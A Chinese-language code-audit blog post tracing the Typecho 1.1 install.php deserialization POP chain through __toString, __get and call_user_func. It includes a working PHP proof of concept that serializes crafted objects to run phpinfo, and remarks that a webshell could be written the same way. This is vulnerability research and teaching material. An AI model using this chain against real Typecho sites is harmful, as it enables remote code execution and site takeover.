环境搭建

源码下载:https://github.com/typecho/typecho/archive/v1.1-15.5.12-beta.zip

下载后部署到web根目录,然后进行安装即可,其中注意要提前在mysql中创建一个对应的数据库.

漏洞分析

漏洞起始点前的障碍清除

先是一个refer检测,填写一个站内地址即可

$_SERVER中到底哪些是可以通过客户端进行控制的呢???

漏洞起始点

全局搜索所有的__wakeup函数和__destruct函数,但似乎都没有利用点

按照之前的思路,我一般就放弃了,但这题,让我见识了新思路。就是只要是用户可控的,可能在某一点没办法利用,但可能在其余的地方被利用

按照大师傅的思路,跟着输入流继续往下走

可以看到,$config可控,此时的不就会触发__toString了嘛!!!!

全局跟踪__toString

不得不说,phpstorm还是好啊,不仅支持函数预览,不用一个个手点进去。而且对于空函数还直接标注了。亏我还是从头开始找的。仔细看看图,后三个为有函数体的,前面没有函数体的,会微微泛黄

漏洞搜寻-测试点1

最开始看到这里的时候,我感觉都可以形成链子了,$callback $args 都可以控制

最后失败了,原因是这里的$callback是静态变量中的,如果是$this就可以了。。

漏洞搜寻-测试点2

不得不说这一段是真的长,只能慢慢看。看了好久,似乎没啥发现。。。

看了其他文章,才发现这里涉及__get触发--也就是访问了非public变量

这样的话,我们又开始要全局追踪__get函数了

只能说有点浮躁,不愿意继续往下跟踪,看了所有的都没发现漏洞。。。

看到了非常nice的函数!!!

回过头分析,判断确实都可控,直接构造pop链

install.php-> Typecho_Feed::_toString->Typecho_Request::__get()->Typecho_Request::get()->Typecho_Request::_applyFilter()->call_user_func($filter, $value)

POC

<?php

    class Typecho_Request{
private $_filter = array();
private $_params = array();
public function __construct(){
$this->_params['screenName'] = -1; //payload
$this->_filter = array("phpinfo");
} } class Typecho_Feed{
private $_type = "ATOM 1.0";
private $_charset = "UTF-8";
private $_lang = "zh";
private $_items = array(); public function __construct(){
$this->_items[0]['author'] = new Typecho_Request();
$this->_items[0]['categoty'] = array(new Typecho_Request());
}
} $a = array();
$a['adapter'] = new Typecho_Feed(); echo base64_encode(serialize($a));

成功

构造POC发现的问题

  1. 类中的数据序列化前,确保它的访问属性保持一直,避免反序列化不成功!!!
  2. 最开始构造了一个POC,结果总是返回一个数据库错误,因为在 install.php 的开头部分调用了程序调用了ob_start(),它会开启缓冲区并将要输出的内容都放进缓冲区,想要使用的时候可以再取出。但是我们的对象注入会在后续的代码中造成数据库错误。异常处理机制中最开始就直接将缓冲区清零了,所以会导致开始的目标信息无法输出。

    解决办法:调试的时候手动添加exit提前退出。实际情况下,就控制程序不要走Exception,避免ob_end_clean()清除缓冲区
  3. 对于2的问题,只是会刷新缓冲区。但并不影响恶意代码的执行。所以如果直接进行shell的写入或类似的不需要回显的操作时,也是可以的。

ENDING

反序列化就是多跟,多联想。只要思路广,链子永不断!!!

[php代码审计] Typecho 1.1 -反序列化Cookie数据进行前台Getshell的更多相关文章

  1. 转载--Typecho install.php 反序列化导致任意代码执行

    转载--Typecho install.php 反序列化导致任意代码执行 原文链接(http://p0sec.net/index.php/archives/114/) 0x00 前言 漏洞公布已经过去 ...

  2. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  3. Jackson序列化和反序列化Json数据完整示例

    Jackson序列化和反序列化Json数据 Web技术发展的今天,Json和XML已经成为了web数据的事实标准,然而这种格式化的数据手工解析又非常麻烦,软件工程界永远不缺少工具,每当有需求的时候就会 ...

  4. 【转】用ASP.NET加密Cookie数据

    来源:http://www.cnblogs.com/taizhouxiaoba/archive/2009/02/05/1384772.html Cookie中的数据以文本的形式存在客户端计算机,考虑它 ...

  5. [android]-如何在向服务器发送request时附加已保存的cookie数据

    [android]-如何在向服务器发送request时附加已保存的cookie数据 应用场景:在开发android基于手机端+服务器端的应用时,登陆->获取用户信息->获取授权用户相关业务 ...

  6. Typecho V1.1反序列化导致代码执行分析

    0x00  前言     今天在Seebug的公众号看到了Typecho的一个前台getshell分析的文章,然后自己也想来学习一下.保持对行内的关注,了解最新的漏洞很重要. 0x01  什么是反序列 ...

  7. curl获得cookie数据<转>

    CURL *curl; CURLcode res; struct curl_slist *headers = NULL; curl_global_init(CURL_GLOBAL_ALL); curl ...

  8. go-redis 基于beego正确使用序列化存储数据和反序列化获取数据

    安装go-redis // 安装命令 go get github.com/gomodule/redigo/redis // 导入使用 import( "github.com/gomodule ...

  9. Cookie默认不设置path时,哪些请求会携带cookie数据

    默认不设置path的时候,只会在请求和servlet同路径的情况下才会携带cookie中存储的数据,包含同级目录和下级目录 例如: 在http://localhost:8080/day01/test/ ...

随机推荐

  1. poj 3041 Asteroids(最小点覆盖)

    题意: N*N的矩阵,有K个敌人,坐标分别是(C1,C1),.....,(Rk,Ck). 有一个武器,每发射一次,可消掉某行或某列上的所有的敌人. 问消灭所有敌人最少需要多少发. 思路: 二分建图:左 ...

  2. nohup java -jar xx.jar & ,关闭窗口后退出进程

    nohup java -jar dw-report..jar > dw-report.log  & 自动退出命令在后台运行 xx.jar程序 明明已经加了"&" ...

  3. 【java+selenium3】隐式等待+显式等待 (七)

    一.隐式等待 -- implicitlyWait 调用方式:driver.manage().timeouts().implicitlyWait(long time, TimeUnit unit); / ...

  4. SpringCloud升级之路2020.0.x版-32. 改进负载均衡算法

    本系列代码地址:https://github.com/JoJoTec/spring-cloud-parent 在前面一节,我们梳理了实现 Feign 断路器以及线程隔离的思路,这一节,我们先不看如何源 ...

  5. docker file 笔记

    FROM    # FROM scratch,  FROM centos, FROM ubuntu:latest LABEL RUN  # 每运行一次RUN,image都会生成新的一层,为了美观,避免 ...

  6. C#生成新浪微博短网址 示例源码

    using System; using System.Collections.Generic; using System.Linq; using System.Text;     using DotN ...

  7. vue + cesium开发(5) 搭建 vue + cesium开发环境(2)

    上vue+cesium开发(1)中,没有进行配置webpack,而是使用了插件进行代替,在使用过程中出现了一些未知BUG,影响体验,因此参考了官方文档对项目进行重新配置,使用了 copy-webpac ...

  8. [hdu6595]Everything Is Generated In Equal Probability

    计算一对逆序对的贡献,即在n个数期望要删多少步才能删掉其中的两个数,设f(n)表示此时的期望,则有方程$f[n]=3/4+(\sum_{i=2}^{n}f[i]\cdot c(n-2,i-2))/2^ ...

  9. 数字逻辑实践2->Verilog编写规范

    来源:数字逻辑与Verilog设计实验课讲解,个人做的笔记与整理. 00 规范的重要性 良好的编程风格有利于减少消耗的硬件资源,提高设计的工作频率 . 提高系统的可移植性和可维护性. 程序的格式化能体 ...

  10. java8两个字段进行排序问题

    //这个解决问题 Comparator<Anjianxinxi> getLianriqi = Comparator.comparing(Anjianxinxi::getLianriqi). ...